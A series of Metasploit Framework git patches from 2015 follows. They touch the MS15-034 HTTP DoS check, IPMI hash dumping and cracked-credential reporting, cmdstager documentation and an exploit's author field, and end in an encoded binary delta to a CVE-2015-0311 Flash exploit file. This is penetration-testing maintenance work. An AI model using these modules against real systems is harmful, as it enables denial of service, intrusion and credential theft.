Nokogiri::HTML(res.body).xpath('//link|//script|//style|//img').each do |tag| + page.xpath('//link|//script|//style|//img').each do |tag| %w(href src).each do |attribute| - begin - attr_value = tag[attribute] + attr_value = tag[attribute] - next unless attr_value && !attr_value.empty? + next unless attr_value && !attr_value.empty? - uri = site_uri.merge(URI.encode(attr_value.strip)) + uri = site_uri.merge(URI.encode(attr_value.strip)) - next unless uri.host == vhost || uri.host == rhost + next unless uri.host == vhost || uri.host == rhost - uris << uri.path if uri.path =~ /\.[a-z]{2,}$/i # Only keep path with a file - rescue => e - vprint_error("#{peer} - #{e}") - next - end + uris << uri.path if uri.path =~ /\.[a-z]{2,}$/i # Only keep path with a file end end From d9d8634948971b41e2fb974e111f66d5a13720fe Mon Sep 17 00:00:00 2001 From: erwanlr Date: Thu, 21 May 2015 08:46:16 +0100 Subject: [PATCH 16/55] Changes the message displayed when vulnerable --- modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb b/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb index 011e85351f..7aa1d270e6 100644 --- a/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb +++ b/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb @@ -155,7 +155,7 @@ class Metasploit3 < Msf::Auxiliary vmessage = "#{peer} - Checking #{uri} [#{res.code}]" if res && res.body.include?('Requested Range Not Satisfiable') - print_status("#{vmessage} - Vulnerable") + print_status("#{peer} - #{uri} is vulnerable") target_uri.path = uri # Needed for the DoS attack From 356f361b40640b315a9efb235b848413b8617517 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Thu, 21 May 2015 09:30:09 -0500 Subject: [PATCH 17/55] add sid to the the yard docs you win this round OJ ;) MSP-12722 --- lib/msf/core/rpc/v10/rpc_session.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/lib/msf/core/rpc/v10/rpc_session.rb b/lib/msf/core/rpc/v10/rpc_session.rb index a671d2a5d4..6ac49faa65 100644 --- a/lib/msf/core/rpc/v10/rpc_session.rb +++ b/lib/msf/core/rpc/v10/rpc_session.rb @@ -397,6 +397,7 @@ class RPC_Session < RPC_Base # Changes the Transport of a given Meterpreter Session # + # @param sid [Fixnum] The Session ID of the `Msf::Session` # @option opts [String] :transport The transport protocol to use (e.g. reverse_tcp, reverse_http, bind_tcp etc) # @option opts [String] :lhost The LHOST of the listener to use # @option opts [String] :lport The LPORT of the listener to use From e1f10772b352031e477699308850d127068f5bba Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 21 May 2015 16:30:42 -0500 Subject: [PATCH 18/55] Use create_cracked_credential --- .../auxiliary/scanner/ipmi/ipmi_dumphashes.rb | 26 +++++++------------ 1 file changed, 10 insertions(+), 16 deletions(-) diff --git a/modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb b/modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb index 5ec74e9c31..93e95ac91b 100644 --- a/modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb +++ b/modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb @@ -180,7 +180,7 @@ class Metasploit3 < Msf::Auxiliary # Write the rakp hash to the database hash = "#{rhost} #{username}:$rakp$#{sha1_salt}$#{sha1_hash}" - report_hash(username, hash) + core_id = report_hash(username, hash) # Write the vulnerability to the database unless reported_vuln report_vuln( @@ -205,7 +205,7 @@ class Metasploit3 < Msf::Auxiliary print_good("#{rhost}:#{rport} - IPMI - Hash for user '#{username}' matches password '#{pass}'") # Report the clear-text credential to the database - report_cracked_cred(username, pass) + report_cracked_cred(username, pass, core_id) break end end @@ -269,24 +269,18 @@ class Metasploit3 < Msf::Auxiliary status: Metasploit::Model::Login::Status::UNTRIED }.merge(service_data) - create_credential_login(login_data) + cl = create_credential_login(login_data) + cl.core_id end - def report_cracked_cred(user, password) - credential_data = { - module_fullname: self.fullname, - origin_type: :service, - private_data: password, - private_type: :password, + def report_cracked_cred(user, password, core_id) + cred_data = { + core_id: core_id, username: user, - }.merge(service_data) + password: password + } - login_data = { - core: create_credential(credential_data), - status: Metasploit::Model::Login::Status::UNTRIED - }.merge(service_data) - - create_credential_login(login_data) + create_cracked_credential(cred_data) end # From 6fb2da4f62e63e026aa2127a6c2883446a50eca3 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Sat, 23 May 2015 13:56:49 -0400 Subject: [PATCH 19/55] Fix #5391, cmd stager documentation fixes --- lib/msf/core/exploit/cmdstager.rb | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/lib/msf/core/exploit/cmdstager.rb b/lib/msf/core/exploit/cmdstager.rb index ae570e1cd3..692f4fda2c 100644 --- a/lib/msf/core/exploit/cmdstager.rb +++ b/lib/msf/core/exploit/cmdstager.rb @@ -127,8 +127,8 @@ module Exploit::CmdStager # Show the progress of the upload while cmd staging # - # @param total [Float] The total number of bytes to send - # @param sent [Float] The number of bytes sent + # @param total [Float] The total number of bytes to send. + # @param sent [Float] The number of bytes sent. # @return [void] def progress(total, sent) done = (sent.to_f / total.to_f) * 100 @@ -308,9 +308,10 @@ module Exploit::CmdStager def execute_cmdstager_end(opts) end - # Code to execute each command from the. This method is designed to be - # overriden by a module using this mixin. + # Code called to execute each command via an arbitrary module-defined vector. + # This method needs to be overriden by modules using this mixin. # + # @param cmd [String] The command to execute. # @param opts [Hash] Hash of configuration options. def execute_command(cmd, opts) raise NotImplementedError From 43f505b462c4516c773d4ac9145ad8dea6751dcc Mon Sep 17 00:00:00 2001 From: Michael Messner Date: Mon, 25 May 2015 19:31:50 +0200 Subject: [PATCH 20/55] fix contact details --- modules/exploits/linux/upnp/miniupnpd_soap_bof.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/upnp/miniupnpd_soap_bof.rb b/modules/exploits/linux/upnp/miniupnpd_soap_bof.rb index 950f3f4835..fe94b76a68 100644 --- a/modules/exploits/linux/upnp/miniupnpd_soap_bof.rb +++ b/modules/exploits/linux/upnp/miniupnpd_soap_bof.rb @@ -23,7 +23,7 @@ class Metasploit3 < Msf::Exploit::Remote 'hdm', # Vulnerability discovery 'Dejan Lukan', # Metasploit module, debian target 'Onur ALANBEL', # Expliot for Airties target - 'm-1-k-3' # Metasploit module, Airties target + 'Michael Messner ' # Metasploit module, Airties target ], 'License' => MSF_LICENSE, 'DefaultOptions' => { 'EXITFUNC' => 'process', }, From 91357ee45bc8facaec58eb8260919264ed2d427e Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 26 May 2015 13:47:33 -0500 Subject: [PATCH 21/55] Improve reliability --- data/exploits/CVE-2015-0311/msf.swf | Bin 20328 -> 20302 bytes 1 file changed, 0 insertions(+), 0 deletions(-) diff --git a/data/exploits/CVE-2015-0311/msf.swf b/data/exploits/CVE-2015-0311/msf.swf index e94528b7155ff2f61a0d53d3284b5c663976b644..0782407696358578179c54091bf480117265c06f 100644 GIT binary patch delta 20178 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 